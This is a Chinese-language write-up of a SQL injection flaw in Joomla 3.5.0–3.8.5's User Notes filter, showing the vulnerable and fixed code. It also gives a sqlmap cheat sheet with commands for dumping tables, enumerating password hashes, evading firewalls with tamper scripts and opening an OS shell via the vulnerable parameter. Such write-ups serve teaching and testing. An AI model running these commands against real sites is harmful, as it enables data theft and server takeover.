漏洞简介
Joomla是一套网站内容管理系统,使用PHP语言和MySQL数据库开发。Joomla! 3.5.0 -3.8.5版本对SQL语句内的变量缺少类型转换,导致User Notes列表视图内SQL注入漏洞,可使攻击者访问或修改数据等。
受影响版本
Joomla3.5.0-3.8.5
漏洞原理
漏洞的文件位于\administrator\components\com_users\models\notes.php,是joomla的模型文件。
漏洞代码如下:
// Filter by a single or group of categories.
$categoryId = $this->getState('filter.category_id');
if ($categoryId && is_scalar($categoryId))
{
$query->where('a.catid = ' . $categoryId);
}
修改后的代码如下:
// Filter by a single category.
$categoryId = (int) $this->getState('filter.category_id');
if ($categoryId)
{
$query->where('a.catid = ' . $categoryId);
}
从这段代码可知它是一个过滤器,用来选择category_id的,而$categoryId未经过滤直接拼接sql语句进行查询,所以造成了SQL注入漏洞。
实验工具
Sqlmap(这边顺便再总结一下sqlmap的用法)
常用命令:
- sqlmap.py -u http://host?id=x 检测当前url参数id否存在sql注入
- sqlmap.py -u http://host?id=x --current-user 获得当前数据库用户
- sqlmap.py -u http://host?id=x --current-db 爆当前数据库名
- sqlmap.py -u http://host?id=x --tables –D dbname 爆当前数据库所有表
- sqlmap.py -u http://host?id=x --count –T tablename –D dbname 爆当前表记录数
- sqlmap.py -u http://host?id=x --columns –T tablename –D dbname 爆当前表字段
- sqlmap.py -u http://host?id=x --dump –T tablename –D dbname –start 1 – stop 8爆当前表内容,从第一条到第八条
***常用参数***
-v VERBOSE Verbosity level: 0-6 (default 1)
0: Show only Python tracebacks, error and critical messages.
1: Show also information and warning messages.
2: Show also debug messages.
3: Show also payloads injected.
4: Show also HTTP requests.
5: Show also HTTP responses' headers.
6: Show also HTTP responses' page content.
常用参数
- --proxy=PROXY 使用HTTP代理连接到目标URL
- --delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
- --timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
- --retries=RETRIES 连接超时后重新连接的时间(默认3)
- --keep-alive 使用持久的HTTP(S)连接
- --threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
- --level=LEVEL 执行测试的等级(1-5,默认为1)
- --risk=RISK 执行测试的风险(0-3,默认为1)
- --string=STRING 查询时有效时在页面匹配字符串
- --regexp=REGEXP 查询时有效时在页面匹配正则表达式
- --technique=TECH SQL注入技术测试(默认BEUST)
- --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
- --union-cols=UCOLS 定列范围用于测试UNION查询注入
- --passwords 枚举数据库管理系统用户密码哈希
- --os-cmd=OSCMD 执行操作系统命令
- --os-shell 交互式的操作系统的shell
进阶使用--tamper使用
tamper目录下有多种进行注入时绕过防火墙的脚本,基本利用数据库的兼容性
比如:between.py 就是默认把所有> 用between来替换
equaltolike.py 就是把所有 = 用 like来替换
base64encode.py 就是把请求内容base64加密
利用验证
sqlmap.py -r C:\1.txt -p filter[category_id]
sqlmap.exe -r C:\Joomla.txt -p filter[category_id] --os-shell (需要知道绝对路径)
参考链接:
https://paper.seebug.org/553/
https://www.ichunqiu.com/vm/61621/1